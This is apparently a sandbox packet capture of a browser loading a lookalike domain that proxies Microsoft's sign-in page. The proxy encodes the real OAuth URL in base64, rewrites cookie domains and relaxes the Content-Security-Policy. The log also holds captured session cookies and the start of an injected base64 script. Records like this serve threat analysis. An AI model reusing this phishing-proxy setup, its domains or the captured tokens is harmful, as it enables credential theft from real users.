Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49731	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:08 UTC	1822	OUT	GET /?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://wordpressprofissional.com.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag
2024-04-26 11:21:09 UTC	2051	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 95ae6892-499e-4169-a024-ebaf52775c00 x-ms-ests-server: 2.1.17910.10 - WEULR1 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; domain=r6duftx9uh6.scrdata-doc.cfd; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=Ag3Kly0IoDdBkfMWaLarS2Y; expires=Sun, 26-May-2024 11:21:09 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8Xa7tZ0SebpglM2T8wNj5qUiHXjDE8kzM4NSdE_IayLKIOQysDS2PA0gFadcG7C3F1Qb3Eis8Pzxbib5e2WtQ3OZsx1z-KmUvU6tXhDK42bF_XJGHSCB1p5OkGE6LzNjDbDp2uPiv6jJklS2Sjw6D_XWGoS0Wt5YsbwzflEZRlQkgAA; domain=r6duftx9uh6.scrdata-doc.cfd; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Date: Fri, 26 Apr 2024 11:21:08 GMT Connection: close content-length: 21184 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 11:21:09 UTC	14333	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2
2024-04-26 11:21:09 UTC	6851	IN	Data Raw: 6e 6f 74 20 62 65 20 6e 75 6c 6c 2e 22 7d 69 66 28 75 28 65 29 29 7b 72 65 74 75 72 6e 20 63 2e 4f 6e 45 72 72 6f 72 28 65 2c 74 29 7d 76 61 72 20 6e 3d 65 2e 73 72 63 7c 7c 65 2e 68 72 65 66 7c 7c 22 22 2c 6f 3d 69 28 29 2c 73 3d 61 28 29 3b 72 28 22 5b 24 4c 6f 61 64 65 72 5d 3a 20 4c 6f 61 64 65 64 22 2c 65 29 3b 76 61 72 20 64 3d 6e 65 77 20 63 0a 3b 64 2e 66 61 69 6c 4d 65 73 73 61 67 65 3d 22 52 65 6c 6f 61 64 20 46 61 69 6c 65 64 22 2c 64 2e 73 75 63 63 65 73 73 4d 65 73 73 61 67 65 3d 22 52 65 6c 6f 61 64 20 53 75 63 63 65 73 73 22 2c 64 2e 4c 6f 61 64 28 6e 75 6c 6c 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6f 29 7b 74 68 72 6f 77 22 55 6e 65 78 70 65 63 74 65 64 20 73 74 61 74 65 2e 20 52 65 73 6f 75 72 63 65 4c 6f 61 64 65 72 2e 4c 6f 61 64 Data Ascii: not be null."}if(u(e)){return c.OnError(e,t)}var n=e.src\|\|e.href\|\|"",o=i(),s=a();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49732	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:10 UTC	2246	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; fpc=Ag3Kly0IoDdBkfMWaLarS2Y; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8Xa7tZ0SebpglM2T8wNj5qUiHXjDE8kzM4NSdE_IayLKIOQysDS2PA0gFadcG7C3F1Qb3Eis8Pzxbib5e2WtQ3OZsx1z-KmUvU6tXhDK42bF_XJGHSCB1p5OkGE6LzNjDbDp2uPiv6jJklS2Sjw6D_XWGoS0Wt5YsbwzflEZRlQkgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-04-26 11:21:11 UTC	1343	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2011706 Cache-Control: public, max-age=31536000 Content-MD5: OdlDOzXlgXZa124Z7O0jlA== Content-Type: application/x-javascript Date: Fri, 26 Apr 2024 11:21:10 GMT Etag: 0x8DC52767B578035 Last-Modified: Mon, 01 Apr 2024 18:06:40 GMT Server: ECAcc (ama/48D2) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 3dd41352-f01e-00c8-447f-858673000000 x-ms-version: 2009-09-19 content-length: 141321 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 11:21:11 UTC	15041	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-04-26 11:21:11 UTC	16384	IN	Data Raw: 70 61 6e 22 29 3b 65 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 3d 22 72 65 64 22 2c 65 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 3d 22 62 6c 75 65 22 2c 65 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 65 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 2d 39 39 39 70 78 22 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 3b 76 61 72 20 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 29 3b 45 3d 6e 2e 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 3d 3d 3d 6e 2e 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 65 29 7d 72 65 74 75 72 6e 20 45 7d 2c 67 Data Ascii: pan");e.style.borderLeftColor="red",e.style.borderRightColor="blue",e.style.position="absolute",e.style.top="-999px",document.body.appendChild(e);var n=_.getComputedStyle(e);E=n.borderLeftColor===n.borderRightColor,document.body.removeChild(e)}return E},g
2024-04-26 11:21:11 UTC	16384	IN	Data Raw: 54 69 6d 65 64 4f 75 74 3a 31 30 32 39 2c 53 65 6e 64 4e 6f 74 69 66 69 63 61 74 69 6f 6e 46 61 69 6c 65 64 3a 31 30 33 30 2c 53 65 72 76 65 72 5f 4d 65 73 73 61 67 65 4f 6e 6c 79 3a 39 39 39 39 2c 50 50 5f 45 5f 44 42 5f 4d 45 4d 42 45 52 44 4f 45 53 4e 4f 54 45 58 49 53 54 3a 22 43 46 46 46 46 43 31 35 22 2c 50 50 5f 45 5f 45 58 43 4c 55 44 45 44 3a 22 38 30 30 34 31 30 31 30 22 2c 50 50 5f 45 5f 4d 45 4d 42 45 52 5f 4c 4f 43 4b 45 44 3a 22 38 30 30 34 31 30 31 31 22 2c 50 50 5f 45 5f 42 41 44 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 31 30 31 32 22 2c 50 50 5f 45 5f 4d 49 53 53 49 4e 47 5f 4d 45 4d 42 45 52 4e 41 4d 45 3a 22 38 30 30 34 31 30 33 31 22 2c 50 50 5f 45 5f 4d 49 53 53 49 4e 47 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 31 30 33 32 22 Data Ascii: TimedOut:1029,SendNotificationFailed:1030,Server_MessageOnly:9999,PP_E_DB_MEMBERDOESNOTEXIST:"CFFFFC15",PP_E_EXCLUDED:"80041010",PP_E_MEMBER_LOCKED:"80041011",PP_E_BAD_PASSWORD:"80041012",PP_E_MISSING_MEMBERNAME:"80041031",PP_E_MISSING_PASSWORD:"80041032"
2024-04-26 11:21:11 UTC	16384	IN	Data Raw: 20 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6e 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 6e 2c 74 2c 72 29 7b 76 61 72 20 6f 3d 65 5b 6e 5d 2e 6d 61 74 63 68 28 62 29 7c 7c 5b 5d 3b 53 2e 61 2e 44 28 74 2e 6d 61 74 63 68 28 62 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 53 2e 61 2e 4e 61 28 6f 2c 65 2c 72 29 7d 29 29 2c 65 5b 6e 5d 3d 6f 2e 6a 6f 69 6e 28 22 20 22 29 7d 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 69 3d 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 2c 66 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2c 70 3d 7b 7d 2c 68 3d 7b 7d 3b 70 5b 63 26 26 2f 46 69 72 65 66 6f 78 5c 2f 32 2f 69 2e 74 65 Data Ascii: e.__proto__=n,e}function r(e,n,t,r){var o=e[n].match(b)\|\|[];S.a.D(t.match(b),(function(e){S.a.Na(o,e,r)})),e[n]=o.join(" ")}var o=Object.prototype.hasOwnProperty,i={__proto__:[]}instanceof Array,f="function"==typeof Symbol,p={},h={};p[c&&/Firefox\/2/i.te
2024-04-26 11:21:11 UTC	16384	IN	Data Raw: 69 66 28 74 29 7b 69 66 28 21 53 2e 51 63 28 65 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 4f 6e 6c 79 20 73 75 62 73 63 72 69 62 61 62 6c 65 20 74 68 69 6e 67 73 20 63 61 6e 20 61 63 74 20 61 73 20 64 65 70 65 6e 64 65 6e 63 69 65 73 22 29 3b 74 2e 6f 64 2e 63 61 6c 6c 28 74 2e 70 64 2c 65 2c 65 2e 66 64 7c 7c 28 65 2e 66 64 3d 2b 2b 6f 29 29 7d 7d 2c 47 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6f 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 65 28 29 2c 74 2e 61 70 70 6c 79 28 72 2c 6f 7c 7c 5b 5d 29 7d 66 69 6e 61 6c 6c 79 7b 6e 28 29 7d 7d 2c 71 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 29 72 65 74 75 72 6e 20 74 2e 6f 2e 71 61 28 29 7d 2c 56 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 29 72 65 74 75 72 6e 20 74 2e 6f 2e 56 61 28 29 7d 2c Data Ascii: if(t){if(!S.Qc(e))throw Error("Only subscribable things can act as dependencies");t.od.call(t.pd,e,e.fd\|\|(e.fd=++o))}},G:function(t,r,o){try{return e(),t.apply(r,o\|\|[])}finally{n()}},qa:function(){if(t)return t.o.qa()},Va:function(){if(t)return t.o.Va()},
2024-04-26 11:21:11 UTC	16384	IN	Data Raw: 74 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 54 79 70 65 29 7b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 62 69 6e 64 22 29 3b 63 61 73 65 20 38 3a 72 65 74 75 72 6e 20 53 2e 68 2e 56 64 28 65 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 70 61 72 73 65 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 72 29 7b 74 72 79 7b 76 61 72 20 6f 2c 69 3d 74 68 69 73 2e 6e 64 2c 61 3d 65 2b 28 72 26 26 72 2e 76 61 6c 75 65 41 63 63 65 73 73 6f 72 73 7c 7c 22 22 29 3b 69 66 28 21 28 6f 3d 69 5b 61 5d 29 29 7b 76 61 72 20 73 2c 75 3d 22 77 69 74 68 28 24 63 6f 6e Data Ascii: tBindingsString:function(e){switch(e.nodeType){case 1:return e.getAttribute("data-bind");case 8:return S.h.Vd(e);default:return null}},parseBindingsString:function(e,n,t,r){try{var o,i=this.nd,a=e+(r&&r.valueAccessors\|\|"");if(!(o=i[a])){var s,u="with($con
2024-04-26 11:21:12 UTC	16384	IN	Data Raw: 61 72 20 72 3d 74 79 70 65 6f 66 20 6e 3b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 72 3f 6e 28 65 29 3a 22 73 74 72 69 6e 67 22 3d 3d 72 3f 65 5b 6e 5d 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 69 28 6e 2c 74 29 7b 69 66 28 68 26 26 6c 29 53 2e 69 2e 6d 61 28 65 2c 53 2e 69 2e 48 29 3b 65 6c 73 65 20 69 66 28 70 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 72 3d 30 3c 3d 53 2e 61 2e 41 28 70 2c 53 2e 77 2e 4d 28 74 5b 30 5d 29 29 3b 53 2e 61 2e 5a 63 28 74 5b 30 5d 2c 72 29 2c 68 26 26 21 72 26 26 53 2e 75 2e 47 28 53 2e 61 2e 46 62 2c 6e 75 6c 6c 2c 5b 65 2c 22 63 68 61 6e 67 65 22 5d 29 7d 7d 76 61 72 20 73 3d 65 2e 6d 75 6c 74 69 70 6c 65 2c 75 3d 30 21 3d 65 2e 6c 65 6e 67 74 68 26 26 73 3f 65 2e 73 63 72 6f 6c 6c 54 6f 70 3a 6e 75 6c 6c 2c 63 3d 53 Data Ascii: ar r=typeof n;return"function"==r?n(e):"string"==r?e[n]:t}function i(n,t){if(h&&l)S.i.ma(e,S.i.H);else if(p.length){var r=0<=S.a.A(p,S.w.M(t[0]));S.a.Zc(t[0],r),h&&!r&&S.u.G(S.a.Fb,null,[e,"change"])}}var s=e.multiple,u=0!=e.length&&s?e.scrollTop:null,c=S
2024-04-26 11:21:13 UTC	16384	IN	Data Raw: 7b 69 66 28 30 3c 3d 6c 2e 74 6d 70 6c 2e 74 61 67 2e 74 6d 70 6c 2e 6f 70 65 6e 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 5f 5f 22 29 29 72 65 74 75 72 6e 20 32 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 31 7d 28 29 3b 74 68 69 73 2e 72 65 6e 64 65 72 54 65 6d 70 6c 61 74 65 53 6f 75 72 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 2c 6f 29 7b 69 66 28 6f 3d 6f 7c 7c 75 2c 72 3d 72 7c 7c 7b 7d 2c 32 3e 65 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 59 6f 75 72 20 76 65 72 73 69 6f 6e 20 6f 66 20 6a 51 75 65 72 79 2e 74 6d 70 6c 20 69 73 20 74 6f 6f 20 6f 6c 64 2e 20 50 6c 65 61 73 65 20 75 70 67 72 61 64 65 20 74 6f 20 6a 51 75 65 72 79 2e 74 6d 70 6c 20 31 2e 30 2e 30 70 72 65 20 6f 72 20 6c 61 74 65 72 2e 22 29 3b 76 Data Ascii: {if(0<=l.tmpl.tag.tmpl.open.toString().indexOf("__"))return 2}catch(e){}return 1}();this.renderTemplateSource=function(n,t,r,o){if(o=o\|\|u,r=r\|\|{},2>e)throw Error("Your version of jQuery.tmpl is too old. Please upgrade to jQuery.tmpl 1.0.0pre or later.");v
2024-04-26 11:21:13 UTC	11592	IN	Data Raw: 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 3d 74 28 33 29 2c 6f 3d 74 28 32 31 29 2c 69 3d 74 28 37 29 2c 61 3d 74 28 30 29 2c 73 3d 74 28 31 29 2c 75 3d 74 28 39 29 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 77 69 6e 64 6f 77 2e 53 65 72 76 65 72 44 61 74 61 29 2c 63 3d 74 28 35 29 2c 6c 3d 77 69 6e 64 6f 77 2c 64 3d 6c 2e 24 43 6f 6e 66 69 67 7c 7c 6c 2e 53 65 72 76 65 72 44 61 74 61 7c 7c 7b 7d 2c 66 3d 61 2e 4f 62 6a 65 63 74 2c 70 3d 73 2e 51 75 65 72 79 53 74 72 69 6e 67 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 2c 74 3d 21 31 21 3d 3d 28 65 3d 65 7c 7c 7b 7d 29 2e 63 68 65 63 6b 41 70 69 43 61 6e 61 72 79 2c 61 3d 65 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 7c 7c 21 31 2c 73 3d 65 2e 62 72 Data Ascii: n(e,n,t){var r=t(3),o=t(21),i=t(7),a=t(0),s=t(1),u=t(9).getInstance(window.ServerData),c=t(5),l=window,d=l.$Config\|\|l.ServerData\|\|{},f=a.Object,p=s.QueryString;e.exports=function(e){var n=this,t=!1!==(e=e\|\|{}).checkApiCanary,a=e.withCredentials\|\|!1,s=e.br

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49733	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:13 UTC	3215	OUT	GET /?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V